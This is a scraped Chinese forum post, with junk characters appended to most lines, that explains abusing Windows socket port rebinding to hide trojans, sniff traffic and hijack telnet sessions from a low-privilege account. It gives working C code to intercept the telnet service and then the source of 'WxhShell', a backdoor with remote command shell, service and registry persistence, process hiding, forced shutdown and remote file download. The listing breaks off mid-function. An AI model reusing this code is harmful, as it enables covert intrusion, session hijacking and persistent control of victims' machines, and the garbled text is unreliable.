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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: g$ZgR)q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); huWUd)Po%  
ly%$>BRU  
  saddr.sin_family = AF_INET; g10$pf+L  
99G/(Z}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ].pz  
bPC {4l  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &\. LhOm  
3ypB~bNw  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Sq%BfP)a(  
35) ]R`f  
  这意味着什么?意味着可以进行如下的攻击: &qz&@!`  
?{\8!_Gvsl  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u3Z*hs)Z%  
6vro:`R ?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /$\yAOA'y  
k)Z?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .sAcnf"  
qnyFRPC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Se*ZQtwE  
pwT|T;j*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >wej1#\3  
kGc;j8>."  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 SEr\ u#  
2U2=ja9:Y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 '|':W6m,  
YTL [z:k}  
  #include D@^ r  
  #include 7n,nODbJ  
  #include 3F5r3T6j}  
  #include    vUS$DU F  
  DWORD WINAPI ClientThread(LPVOID lpParam);   u Zz^>* b  
  int main() 7XT2d=)"  
  { 8UwL%"?YB  
  WORD wVersionRequested; )_ NQ*m  
  DWORD ret; FfI $3:9  
  WSADATA wsaData; m=z-}T5y!T  
  BOOL val; \! Os!s  
  SOCKADDR_IN saddr;  DC]FY|ff  
  SOCKADDR_IN scaddr; g v&xC 6>  
  int err; +z+25qWi  
  SOCKET s; ^(V!vI*  
  SOCKET sc; Yt++  ?  
  int caddsize; fxI>FhU_  
  HANDLE mt; ;.V 5:,&  
  DWORD tid;   +I/7eIG?|  
  wVersionRequested = MAKEWORD( 2, 2 ); [Rs5hO  
  err = WSAStartup( wVersionRequested, &wsaData ); j8M}*1  
  if ( err != 0 ) { $ Etf'.  
  printf("error!WSAStartup failed!\n"); RSG4A>%!mI  
  return -1; g (ZeGNV8  
  } =4\|'V15  
  saddr.sin_family = AF_INET; t# &^ -;  
   "%D+_Yb'X  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }=^YLu=  
$EN A$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); wHWd~K_q  
  saddr.sin_port = htons(23); 6JmS9ho  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ORs<<H.d  
  { LV0g *ng  
  printf("error!socket failed!\n"); E$ q/4  
  return -1; G<4H~1?P  
  } r|fJ~0z  
  val = TRUE; &w*.S@  ;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Z=z'j8z3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |08tQ  
  { QVL92"  
  printf("error!setsockopt failed!\n"); REW *6:  
  return -1; 58mzh82+  
  } UN`-;!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |ZJ]`qmZ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (toGU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #h /-  
-/~^S]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W ;,Uh E  
  { Wgq*|teW  
  ret=GetLastError(); ='pssdB  
  printf("error!bind failed!\n"); M86v  
  return -1; M98dQ%4I  
  } [m|\N  
  listen(s,2); pb{'t2kk  
  while(1) uCNQ.Nbf C  
  { !z{bqPlFGG  
  caddsize = sizeof(scaddr); KB&t31aq  
  //接受连接请求 @>qzRo  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); LdU, 32  
  if(sc!=INVALID_SOCKET) wQ2'%T|t  
  { y 8];MTl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \$VtwVQ,b  
  if(mt==NULL) |C=^:@}ri?  
  { X3!btxa% t  
  printf("Thread Creat Failed!\n"); bRLmJt98P  
  break; lR{eO~'~V  
  } jzI\Q{[m'  
  } ~~;fWM '  
  CloseHandle(mt); GJy><'J,!>  
  } f>\?\!  
  closesocket(s); ro}plK(<WQ  
  WSACleanup(); >J3N,f  
  return 0; ^gw_Up<e6  
  }   >LgV[D#=&o  
  DWORD WINAPI ClientThread(LPVOID lpParam) H6/@loO!Xy  
  { H }uT'  
  SOCKET ss = (SOCKET)lpParam; L G,XhN  
  SOCKET sc; 5;>M&qmN  
  unsigned char buf[4096]; kR-N9|>i  
  SOCKADDR_IN saddr; hAfRHd  
  long num; GaSk &'n$Y  
  DWORD val; Z #w1,n88  
  DWORD ret; J^ P/2a#a  
  //如果是隐藏端口应用的话,可以在此处加一些判断 AcrbR&cvG  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >P>.j+o/  
  saddr.sin_family = AF_INET; mmwwz  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !g=,O6  
  saddr.sin_port = htons(23); UmiW_JB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^^jF*)DT@  
  { @2CYv>  
  printf("error!socket failed!\n"); l"IBt:  
  return -1; %Q1v8l.}  
  } R@=ve %a-  
  val = 100; Rk"VFe>r  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) viD+~j18  
  { , *e^,|#  
  ret = GetLastError(); 8BE OE<  
  return -1; KP _=#KD  
  } H#m)`=nZSZ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x2Y1B  
  { H<}<f:  
  ret = GetLastError(); 0>H<6Ja  
  return -1; ItYG9a  
  } /A_</GYs  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +3s i=x\=/  
  { ]pB0bJAt  
  printf("error!socket connect failed!\n"); :&6QKTX  
  closesocket(sc); &5(|a"5+G  
  closesocket(ss); ]AERi] B  
  return -1; $w[@L7'(  
  } L(`^T`  
  while(1) m ~fqZK  
  { C(?>l.QGw  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 A{x &5yX8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kQ.atr`?e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 EVgn^,  
  num = recv(ss,buf,4096,0); Te$/[`<U  
  if(num>0) rU<  H7U  
  send(sc,buf,num,0); x:xKlPGd  
  else if(num==0) Ad@))o2  
  break; F8_pwJUpf-  
  num = recv(sc,buf,4096,0); P%' bSx1  
  if(num>0) "!E(= W?  
  send(ss,buf,num,0); n_$lRX5  
  else if(num==0) ?tqTG2!(  
  break; e>nRJH8pK  
  } ,EcmMI^A  
  closesocket(ss); D G7FG--  
  closesocket(sc); (z ;=3S  
  return 0 ; <g>_#fz"K  
  } 2?Q IK3"v  
# Sb1oLC  
v}xz`]MW<,  
========================================================== >bz}IcZP  
IJS9%m#  
下边附上一个代码,,WXhSHELL .A\9|sRZ5  
T6O Ib  
========================================================== Tud[VS?99  
&:akom8  
#include "stdafx.h" 0e q>  
Yx(?KN7V?  
#include <stdio.h> YOGw Q  
#include <string.h> o6xl,T%  
#include <windows.h> [g=yuVXNZZ  
#include <winsock2.h> }4cLU.L8O  
#include <winsvc.h> U g]6i+rp  
#include <urlmon.h> d";+8S  
oF]0o`U&a  
#pragma comment (lib, "Ws2_32.lib") E`LML?   
#pragma comment (lib, "urlmon.lib") Fd5{pM3  
+Y)rv6}m  
#define MAX_USER   100 // 最大客户端连接数 J24UUZ9&$  
#define BUF_SOCK   200 // sock buffer H&mw!=FV0  
#define KEY_BUFF   255 // 输入 buffer ReZ|q5*  
"E/F{6NH  
#define REBOOT     0   // 重启 wF?THkdFo  
#define SHUTDOWN   1   // 关机 TL]2{rf~  
72~)bu  
#define DEF_PORT   5000 // 监听端口 f]T#q@|lE  
IH}?CZ@{?  
#define REG_LEN     16   // 注册表键长度 qFe|$rVVIl  
#define SVC_LEN     80   // NT服务名长度 1@CI7j  
?Q9/C|  
// 从dll定义API :'1ePq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hJhdHy=U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (cNT ud$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bi#o1jR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o2a`4K  
Kk9 JZ[nT'  
// wxhshell配置信息 ^Bm9y R  
struct WSCFG {  yZmQBh$  
  int ws_port;         // 监听端口 $w+g%y)  
  char ws_passstr[REG_LEN]; // 口令 +P}'2tE~'  
  int ws_autoins;       // 安装标记, 1=yes 0=no "LP4)hr_`  
  char ws_regname[REG_LEN]; // 注册表键名 q/70fR7{v  
  char ws_svcname[REG_LEN]; // 服务名 j#-ZL-N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -a&wOn-W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  <gf:QX!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?v8RY,Q30  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~}8 3\LI}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9zi/z_G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <MT_zET  
~u,g5  
}; i1FFf[[L  
|= N8X  
// default Wxhshell configuration s67$tlV  
struct WSCFG wscfg={DEF_PORT, ;Qk*h'}f  
    "xuhuanlingzhe", aJI>qk h?]  
    1, Yfxc$ub  
    "Wxhshell", Mgcq'{[~Y=  
    "Wxhshell", k5g\s9n]  
            "WxhShell Service", =J0FT2 d  
    "Wrsky Windows CmdShell Service", @hl5^d"l  
    "Please Input Your Password: ", u"X8(\pOn  
  1, >@ h0@N  
  "http://www.wrsky.com/wxhshell.exe", (;~[}"  
  "Wxhshell.exe" s8@fZ4  
    }; Be8Gx  
@8n0GCv  
// 消息定义模块 Tk.MtIs)V}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q}\,7l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7 &GhJ^Ku  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pfZn<n5p  
char *msg_ws_ext="\n\rExit."; 6S"bW)O  
char *msg_ws_end="\n\rQuit."; g@B9i =  
char *msg_ws_boot="\n\rReboot..."; )ckx&e  
char *msg_ws_poff="\n\rShutdown..."; &[R&@l Y  
char *msg_ws_down="\n\rSave to "; ( 5_oH  
AWD &K!  
char *msg_ws_err="\n\rErr!"; ={={ W  
char *msg_ws_ok="\n\rOK!"; vQu) uml  
ou,W|<%  
char ExeFile[MAX_PATH]; nHyWb6  
int nUser = 0; G\jr^d\  
HANDLE handles[MAX_USER]; 5XFhjVmEL  
int OsIsNt; (Clf]\_II  
k(%RX _]C  
SERVICE_STATUS       serviceStatus; q_cqjly<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PJO;[: .I  
0S/&^  
// 函数声明 \ E[0KvN;O  
int Install(void); PCt&66F   
int Uninstall(void); 8Q#&=]W$  
int DownloadFile(char *sURL, SOCKET wsh); 97F$$d54T  
int Boot(int flag); iO<O2A.F  
void HideProc(void); ^h^j:!76j  
int GetOsVer(void); eA{,=, v)  
int Wxhshell(SOCKET wsl); t m5>J)C  
void TalkWithClient(void *cs); 9L!Vj J  
int CmdShell(SOCKET sock); 4.H!rkMM  
int StartFromService(void); ``aoLQc`  
int StartWxhshell(LPSTR lpCmdLine); 47$JN}qI0  
>s[}f6*2@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c{||l+B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mc!3FJ  
YwB 5Zqr  
// 数据结构和表定义 yMX4 f  
SERVICE_TABLE_ENTRY DispatchTable[] = -cY /M~  
{ q.Z0Q  
{wscfg.ws_svcname, NTServiceMain}, "=4=Q\0PT  
{NULL, NULL} w$61+KHK  
};  b$rBxe\  
zx=A3I%7 A  
// 自我安装 1REq.%/=  
int Install(void) ELY$ ]^T  
{ JK,#dA#  
  char svExeFile[MAX_PATH]; RR`?o\  
  HKEY key; HV>|f'45  
  strcpy(svExeFile,ExeFile); ~@itZ,d\  
{) Y &Vr5  
// 如果是win9x系统,修改注册表设为自启动 tH>%`:  
if(!OsIsNt) { V+Cb.$@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { My)}oN7\z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u"C`S<c  
  RegCloseKey(key); TN/I(pkt1B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L d#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9&rn3hmP  
  RegCloseKey(key); b-~`A;pr  
  return 0; :4(7W[r6  
    } e5veq!*C?  
  } prIq9U|@  
} /91H! s  
else { &^&k]JBaV  
W%vh7>.  
// 如果是NT以上系统,安装为系统服务 jUBlIVl]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J )@x:,o  
if (schSCManager!=0) x%cKTpDh!  
{ %pTbJaM\U  
  SC_HANDLE schService = CreateService 4I{|M,+  
  ( Eq'{uV:  
  schSCManager, gK#a C [  
  wscfg.ws_svcname, dQ;rO$c o  
  wscfg.ws_svcdisp, M}38uxP  
  SERVICE_ALL_ACCESS, *dUnP{6g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DrMcE31  
  SERVICE_AUTO_START, w :^b3@gd  
  SERVICE_ERROR_NORMAL, [DjdR_9*I  
  svExeFile, ;9u6]%hQTX  
  NULL, W]6Y buP:  
  NULL, Yng9_w9Y  
  NULL, b3Y9  
  NULL, z%mM#X  
  NULL sjShm  
  ); %9Ulgs8=  
  if (schService!=0) 9J2% 9,^  
  { C_'Ug  
  CloseServiceHandle(schService); {&K#~[)  
  CloseServiceHandle(schSCManager); .lTGFeJqZ4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p(f)u]1`  
  strcat(svExeFile,wscfg.ws_svcname); 3y 0`G8P'h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mnu7Y([2>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E37`g}ZS  
  RegCloseKey(key); D5AKOM!`  
  return 0; nSd?P'PFg  
    } (`>4~?|+T  
  } U R@'J@V#:  
  CloseServiceHandle(schSCManager); "%>/rh2Iq  
} 173/A=]  
} m[Zz(tL  
+yCIA\i#t6  
return 1; o`G'E&  
} oleRQ=  
`[o^w(l:5@  
// 自我卸载 8a-[Q  
int Uninstall(void) A!iV iX &y  
{ Q6}`%  
  HKEY key; K 7YpGGd5  
8?I(wn  
if(!OsIsNt) { Q&n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `' 6]Z*  
  RegDeleteValue(key,wscfg.ws_regname); E$8GXo00v  
  RegCloseKey(key); gDAA>U3|$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ].:S!QO  
  RegDeleteValue(key,wscfg.ws_regname); (M5=8g%>d  
  RegCloseKey(key); >@T ZYdl  
  return 0; !>t |vgW  
  } rJ!xzge;G  
} =A=er1~%  
} c*1B*_08  
else { 3(FJ<,"D}  
7%)4cHZ^$?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0YIvE\-  
if (schSCManager!=0) ChmPO|2F  
{ o*r\&!NIw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v?d~H`L  
  if (schService!=0) JNX7]j\  
  { "v ^Q !  
  if(DeleteService(schService)!=0) { B8B^@   
  CloseServiceHandle(schService); (h`||48d  
  CloseServiceHandle(schSCManager); gX6'!}G8]  
  return 0; !;iySRZr  
  } skZxR5v3~L  
  CloseServiceHandle(schService); LD^V="d  
  } ^5"s3Qn  
  CloseServiceHandle(schSCManager); W@pVP4F0xM  
} 2/>AmVM  
} H;IG\k6C  
4b6$Mj  
return 1; (*"R"Y  
} &?YQVwsN  
-Ux/ Ug@  
// 从指定url下载文件 f4X?\eGT  
int DownloadFile(char *sURL, SOCKET wsh) })T_D\2M  
{ v*]|1q%/  
  HRESULT hr; 5=Gq d4&*  
char seps[]= "/"; =@{H7z(p&  
char *token; W13$-hf9  
char *file; UY)YhXW  
char myURL[MAX_PATH]; JH<q7Y6!y  
char myFILE[MAX_PATH]; Ybd){Je"z  
xPsuDi8u  
strcpy(myURL,sURL); bk#u0N  
  token=strtok(myURL,seps); Pi)`[\{  
  while(token!=NULL) SDdK5@1O4o  
  { bl}$x/  
    file=token; ~?[@KK  
  token=strtok(NULL,seps); F(@|p]3*  
  } p,ZubR J"  
l+YpRx/T\  
GetCurrentDirectory(MAX_PATH,myFILE); 7nIg3s%  
strcat(myFILE, "\\");  h}+,]^  
strcat(myFILE, file); WWq)Cw R  
  send(wsh,myFILE,strlen(myFILE),0); 0W]Wu[k  
send(wsh,"...",3,0); d [K56wbpx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yUEUIPL  
  if(hr==S_OK) {b]WLBy  
return 0; d \0K 3=h  
else _!w# {5~  
return 1; Ak>RLD25_  
=X-$k k  
} 0~n= |3*P  
CBi V':;  
// 系统电源模块 Ig5J_Z^]b  
int Boot(int flag) D2?~03c  
{ > -k$:[l  
  HANDLE hToken; \ m 2[  
  TOKEN_PRIVILEGES tkp; 97$y,a{6  
^B]M- XG  
  if(OsIsNt) { inR8m 4c]P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hQHV]xW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /mqEc9sq,  
    tkp.PrivilegeCount = 1; +J.^JXyp0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5l{_E:.1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 51&wH  
if(flag==REBOOT) { 1v,4[;{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N"HN] Y@w  
  return 0; ~_^nWT*BV  
} CIYD'zR[2  
else { =B;rj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?uh7m 2l0D  
  return 0; jsk<N  
} :Wb+&|dU  
  } EY> %#0  
  else { kiqq_`66  
if(flag==REBOOT) { .F%RW8=Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T[ mTA>d  
  return 0; RZDZ3W(;h  
} o7hjx hmC  
else { +a;: 7[%&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N2q'$o  
  return 0; ~-'nEATE  
} Yckl,g_  
} srg#<oH|{c  
~#(bX]+A  
return 1; mufF_e)  
} Z\LW<**b  
xr.fZMOh4  
// win9x进程隐藏模块 }bjTb!  
void HideProc(void) .5_w^4`b  
{ 7\5 [lM  
Pu}r` E_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #!Kg?BR2  
  if ( hKernel != NULL ) c AIS?]1  
  { W 4 )^8/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O:k@'&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]6 }|X#_  
    FreeLibrary(hKernel); mezP"N=L~  
  } KA%tVBl  
. VWH  
return; !k%Vw1 8  
} U .G*C  
<fN?=u+  
// 获取操作系统版本 ><^A4s  
int GetOsVer(void) a-8~f8na{(  
{ ]Alu~Dw  
  OSVERSIONINFO winfo; # Wh"_zpM+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gp(w6 :w  
  GetVersionEx(&winfo); }2JSa8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [,G]#<G?q  
  return 1; `Mp]iD {  
  else 8 rnr>Ee@  
  return 0; "f5u2=7 }  
} VZw("a*TB  
>;0z-;k6  
// 客户端句柄模块 BKVvu}V(o  
int Wxhshell(SOCKET wsl) WYI? M  
{ NoiU5pP  
  SOCKET wsh; 1~ZDHfd5  
  struct sockaddr_in client; ^c.b@BE  
  DWORD myID; ")ZHa qEB  
D~8f6Ko"m  
  while(nUser<MAX_USER) ?Tb'J`MO  
{ eN,m8A`/S  
  int nSize=sizeof(client); (Tc ~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1!BV]&,[  
  if(wsh==INVALID_SOCKET) return 1; w;{k\=W3Ff  
zg|yW6l)9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 42Ql^ka  
if(handles[nUser]==0) $mp7IZE|  
  closesocket(wsh); Lf7iOW9U3  
else wBCnP  
  nUser++; z?FZu,h}  
  } `p'L3u5H-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y5Ey%M m6  
M> 1V3 sM  
  return 0; b%T-nY2  
} kZf7  
?CM,k0  
// 关闭 socket uK): d&]Ux  
void CloseIt(SOCKET wsh) =a7m^e7  
{ qfN<w&P  
closesocket(wsh); 9Q].cDe[  
nUser--; YQe @C  
ExitThread(0); LOe!qt\&  
} 4Mg09  
I>G)wRpfR'  
// 客户端请求句柄 b\H(Lq17  
void TalkWithClient(void *cs) /rJvw   
{ 9.PY49|  
;41s&~eR  
  SOCKET wsh=(SOCKET)cs; %l3RM*zb  
  char pwd[SVC_LEN]; uCmdNY  
  char cmd[KEY_BUFF]; 5F&i/8Ib  
char chr[1]; O(WFjmHx  
int i,j; f{^n<\Jh  
I%{U~  
  while (nUser < MAX_USER) { x7{,4js  
K\n %&w  
if(wscfg.ws_passstr) { 5p"*n kF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LhV4 ^\+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j>0S3P,  
  //ZeroMemory(pwd,KEY_BUFF); /A##Yv!biR  
      i=0; 8>O'_6Joj  
  while(i<SVC_LEN) { Rp.@  
Ia>qVM0  
  // 设置超时 ^JY R^X>_  
  fd_set FdRead; t}NxD`8  
  struct timeval TimeOut; & }k=V4L  
  FD_ZERO(&FdRead); l\MiG Na  
  FD_SET(wsh,&FdRead); aU#8W.~  
  TimeOut.tv_sec=8; M(oW;^B  
  TimeOut.tv_usec=0; <2|x]b 8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5Ko "-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9DPf2`*$  
X(E f=:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )Q7;)iPY#  
  pwd=chr[0]; Hk3HzN 3  
  if(chr[0]==0xd || chr[0]==0xa) { 9chiu%20  
  pwd=0; AS4m227  
  break; a$;+-Y  
  } :gQc@)jZ(*  
  i++; kl2]#G(  
    } TpMfk7-  
Z<ke!H  
  // 如果是非法用户,关闭 socket oJXZ}>>iT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tDIzn`$ z  
} B-M|}T  
hhYo9jTHW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |a^ydwb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hRc\&+#/  
QZ9 )uI  
while(1) { kv`x  
r!Mr\  
  ZeroMemory(cmd,KEY_BUFF); Q9W*)gBv n  
UP,0`fh(y  
      // 自动支持客户端 telnet标准   T_YN^za(q  
  j=0; UPJgTN*  
  while(j<KEY_BUFF) { YXD1B`23  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Eb{TKz?  
  cmd[j]=chr[0]; KHF5Nt  
  if(chr[0]==0xa || chr[0]==0xd) { <<n8P5pXt  
  cmd[j]=0; KJ'MK~g  
  break; ~{+J~5!;<H  
  } e(!a~{(kq%  
  j++; nc$?tC9V  
    } |L]dJ<  
lzuPE,h  
  // 下载文件 <NS= <'U  
  if(strstr(cmd,"http://")) { xbn+9b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4b7}Sr=`  
  if(DownloadFile(cmd,wsh)) S0p]:r ";x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #9 } Oqm  
  else EHo"y.ODg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qj3UO]>  
  } 17};I7  
  else { G_dia6  
*OsXjL`f  
    switch(cmd[0]) { i<=@ 7W  
  X Phw0aV  
  // 帮助 _$Z46wHmB  
  case '?': { Do2y7,jv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q^0K8>G^  
    break; rEddX  
  } -AcQ_dS  
  // 安装 bS0^AVA  
  case 'i': { QouTMS-b  
    if(Install()) guFR5>-L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =YPWt>\a}  
    else Yz%=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A.z~wu%(  
    break; >@EQarD  
    } ?%;uR#4  
  // 卸载 w(mn@Qc  
  case 'r': { FK mFjqY  
    if(Uninstall()) %\5y6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eZg31.  
    else cl)MI,/>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /md`tqI>i<  
    break; u6B (f;  
    } -,XS2[  
  // 显示 wxhshell 所在路径 oD"fRBS+$  
  case 'p': { PT\5P&2o@  
    char svExeFile[MAX_PATH]; >8>.o[Q&  
    strcpy(svExeFile,"\n\r"); !4*@H  
      strcat(svExeFile,ExeFile); ^z)lEO  
        send(wsh,svExeFile,strlen(svExeFile),0); li;P,kg$  
    break; xnh%nv<v{  
    } 5i1>z{  
  // 重启 n,V`Y'v)  
  case 'b': { $F/&/Aa  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QP\vN|r  
    if(Boot(REBOOT)) X)nOY*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I~q}M!v~  
    else { %t<Y6*g  
    closesocket(wsh); <v5toyA  
    ExitThread(0); EH,uX{`e  
    } (& ~`!]  
    break; <GoE2a4Va  
    } n.7 $*9)#  
  // 关机 4)XN1r:  
  case 'd': { &4{%3w_/  
